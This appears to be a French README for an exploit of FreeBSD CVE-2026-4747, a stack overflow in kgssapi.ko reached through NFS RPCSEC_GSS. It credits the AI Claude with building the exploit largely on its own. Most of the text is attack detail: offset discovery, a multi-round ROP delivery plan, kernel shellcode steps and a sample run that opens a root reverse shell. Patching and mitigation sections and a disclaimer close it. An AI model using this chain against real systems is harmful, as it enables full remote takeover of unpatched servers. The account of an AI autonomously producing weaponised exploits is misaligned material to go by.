
Exploit RCE du noyau à distance pour FreeBSD CVE-2026-4747, un débordement de tampon de pile dans kgssapi.ko menant à un shell root via une chaîne ROP et du shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Débordement de tampon de pile dans kgssapi.ko → Shell root en ~4 heures
« Le premier exploit de RCE distante du noyau découvert et exploité par une IA. Temps total : ~4 heures de travail réel. »
— Découvert par Nicholas Carlini avec Claude (Anthropic) · Publié le 26 mars 2026
CVE-2026-4747 est une vulnérabilité de débordement de tampon de pile (stack buffer overflow) située dans kgssapi.ko, le module du noyau FreeBSD qui implémente l'authentification RPCSEC_GSS pour NFS.
La fonction svc_rpc_gss_validate() copie un corps d'identifiants contrôlé par l'attaquant vers un tampon de 128 octets sur la pile (rpchdr[]) sans vérifier la taille. Comme 32 octets sont déjà occupés par les champs de l'en-tête RPC, il ne reste que 96 octets libres — mais la couche XDR autorise des identifiants jusqu'à 400 octets, soit 304 octets de débordement.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-4747 |
| CWE | CWE-121 (Débordement de tampon basé sur la pile) |
| Composant | kgssapi.ko / librpcgss_sec |
| Protocole | NFS / RPCSEC_GSS / Kerberos |
| Privilège requis | Ticket Kerberos valide (faible privilège) |
| Impact | Exécution de code à distance dans le noyau → uid 0 |
| CVSS | 9.8 Critique |
| Corrigé | FreeBSD-SA-26:08.rpcsec_gss |
26 mars 2026 ── FreeBSD publie FreeBSD-SA-26:08.rpcsec_gss
Crédit : « Nicholas Carlini using Claude, Anthropic »
29 mars 2026 ── 09h45 PDT : Demande à Claude de développer un exploit
17h00 PDT : Claude livre un shell root fonctionnel
Total : ~7h de temps réel / ~4h de travail effectif de Claude
L'humain était AFK pendant une grande partie du processus.
/* Dans svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Tampon sur la pile */
/* 32 octets déjà consommés par les champs de l'en-tête RPC */
/* Il ne reste que 96 octets libres */
/* XDR autorise des identifiants jusqu'à 400 octets */
/* 400 - 96 = 304 octets de débordement → détournement RIP */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG : taille non vérifiée */
FreeBSD 14.x ne dispose pas de :
int32_t[])Cela rend le débordement → contrôle de RIP direct.
Attaquant (réseau)
│
│ Ticket Kerberos valide pour nfs/cible@REALM
│
▼
Serveur NFS (port 2049/TCP)
│
│ Requête RPCSEC_GSS avec credential_len = 400
│
▼
svc_rpc_gss_validate() ← noyau ring 0
│
│ memcpy sans vérification de taille
│ [tampon de 128 octets + 304 octets de débordement]
│
▼
Écrasement de pile → RIP contrôlé → chaîne ROP → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → shell inverse uid=0
Claude a résolu 6 problèmes distincts pour passer de l'advisory au shell root :
# VM FreeBSD 14.4-RELEASE avec :
# - 2+ CPU (FreeBSD génère 8 threads NFS par CPU ; l'exploit nécessite 15 rondes)
# - kgssapi.ko chargé
# - NFS actif sur le port 2049
# - KDC MIT Kerberos configuré (requis pour atteindre le code vulnérable)
# - Redirection de ports QEMU : hôte:2049 → invité:2049, hôte:8888 → invité:88 (KDC)
# Configuration Kerberos critique côté attaquant :
# /etc/krb5.conf
[libdefaults]
rdns = false # Sans cela : ticket pour nfs/localhost@REALM (incorrect)
dns_canonicalize_hostname = false # Le serveur rejette avec KRB5KRB_AP_WRONG_PRINC
Le shellcode mesure 432 octets mais seuls 200 octets sont disponibles pour la chaîne ROP par paquet.
Ronde 1 : ROP → pmap_change_prot(BSS, RWX) ← rendre le BSS exécutable
Rondes 2-14 : ROP → écrire 32 octets de shellcode dans le BSS (4 écritures × 8 octets)
Ronde 15 : ROP → écrire les derniers octets + SAUT vers le shellcode
Budget par ronde : 4 écritures × 40 octets = 160 octets + 24 octets de sortie = 184 octets ✓ (< 200)
; Chaque ronde se termine par kthread_exit(0) au lieu d'un retour normal
; Le serveur ne plante pas — il perd simplement un thread NFS
; Avec 2 CPU : 16 threads disponibles → suffisant pour 15 rondes
# Séquence De Bruijn → chaque sous-chaîne de 8 octets est unique
# Envoyer comme corps d'identifiants → le noyau plante → lire RIP du crash dump
# Le désassemblage indiquait offset 168 → réel : 200 octets
# Différence : 32 octets de l'en-tête GSS que l'analyse statique n'avait pas pris en compte
pattern = cyclic(400) # De Bruijn de 400 octets
# Crash dump : pointeur d'instruction = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Le shellcode s'exécute dans un thread NFS purement noyau — sans vmspace, sans trapframe.
/* Phase 1 (dans le shellcode du thread NFS détourné) : */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Tuer le thread NFS proprement */
/* Phase 2 (dans le nouveau processus) : */
/* 1. Nettoyer les registres de débogage (bug matériel - voir Étape 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Exécuter /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRITIQUE : Nettoyer le flag P_KPROC */
/* Sans cela, fork_exit() appelle kthread_exit() et tue le processus */
proc->p_flag &= ~P_KPROC;
/* 4. Retour → fork_exit() → userret() → iretq → ring 3 → shell uid=0 */
Symptôme : Le processus enfant plante avec trap 1 (exception de débogage) sur une instruction valide.
Cause : kproc_create/fork1 copie le PCB du parent, héritant des points d'arrêt de DDB
laissés par des crashes précédents pendant le développement de l'exploit.
Correctif : Deux instructions avant kproc_create :
xor eax, eax
mov dr7, rax ← Désactive tous les points d'arrêt matériels
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747 : RCE distante du noyau FreeBSD RPCSEC_GSS
Débordement de pile → ROP → shellcode → shell inverse uid 0
==============================================================
Cible : 127.0.0.1:2049
Rappel : 10.0.2.2:4444
SPN : nfs/[email protected]
Shellcode : 432 octets (54 qwords)
Livraison : 15 rondes (1 pmap + 14 écritures)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS est maintenant RWX
[R2/15] écriture (4 qwords → 0xffffffff8198a800) ✓
[R3/15] écriture (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] écriture + EXÉCUTION → SAUT 0xffffffff8198a800
[*] Shellcode livré et en cours d'exécution.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Shell inverse → 10.0.2.2:4444
[+] Connexion depuis 127.0.0.1:41320
[+] Shell obtenu !
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# Télécharger FreeBSD 14.4-RELEASE
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# Créer le disque et démarrer la VM avec 2+ CPU
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 2+ CPU pour 16+ threads NFS
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # Journal pour lire les crash dumps
# Dans FreeBSD : configurer NFS + Kerberos
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# Configuration KDC de base
pkg install heimdal
# Créer les principals : nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. Installer FreeBSD 14.4-RELEASE dans VMware
2. Dans Network Adapter : sélectionner « NAT » ou « Host-only »
3. Configurer la redirection de ports dans VMware NAT :
- Hôte 2049 TCP → Invité 2049
- Hôte 88 TCP/UDP → Invité 88 (KDC)
4. Même configuration NFS/Kerberos que QEMU
5. Dans /etc/krb5.conf de l'attaquant :
kdc = 127.0.0.1:88 (pointe vers la redirection de port)
# Mettre à jour FreeBSD vers la version corrigée
freebsd-update fetch install
# Vérifier que l'advisory est corrigé
freebsd-version -k # Doit afficher la version post-SA-26:08
# 1. Désactiver kgssapi si RPCSEC_GSS n'est pas nécessaire
kldunload kgssapi
# Dans /boot/loader.conf :
# kgssapi_load="NO"
# 2. Restreindre l'accès NFS avec un pare-feu
ipfw add deny tcp from any to any 2049 not via lo0
# Ou avec pf :
# block in quick on em0 proto tcp to port 2049
# 3. Exiger l'authentification Kerberos uniquement depuis des IP de confiance
# /etc/exports :
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
Les ordinateurs trouvent des bugs avec des fuzzers depuis des décennies. Mais trouver un bug et l'exploiter sont des choses complètement différentes. Le développement d'exploits exige de comprendre le noyau, de construire des chaînes ROP, de gérer les layouts mémoire, de déboguer des crashes et de s'adapter quand quelque chose échoue.
Cela a toujours été considéré comme un territoire exclusivement humain.
CVE-2026-4747 démontre que cette ligne a bougé.
Claude a résolu 6 problèmes de développement d'exploits noyau de manière autonome en ~4 heures : configuration du laboratoire, livraison multi-paquets, sortie propre des threads, débogage des offsets, transition noyau-vers-espace-utilisateur, et un bug matériel de points d'arrêt non documenté. Deux exploits fonctionnels utilisant des stratégies différentes. Les deux ont fonctionné du premier coup.
Ce dépôt est exclusivement destiné à la recherche en cybersécurité, à la documentation technique et à des fins éducatives. L'exploit documenté ici a été développé dans un environnement contrôlé et signalé de manière responsable aux mainteneurs de FreeBSD avant sa publication. Ne pas utiliser contre des systèmes sans autorisation explicite et écrite. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Crédit original : Nicholas Carlini + Claude (Anthropic) Advisory : FreeBSD-SA-26:08.rpcsec_gss
Débordement de pile → ROP → shellcode → kproc_create → iretq → uid=0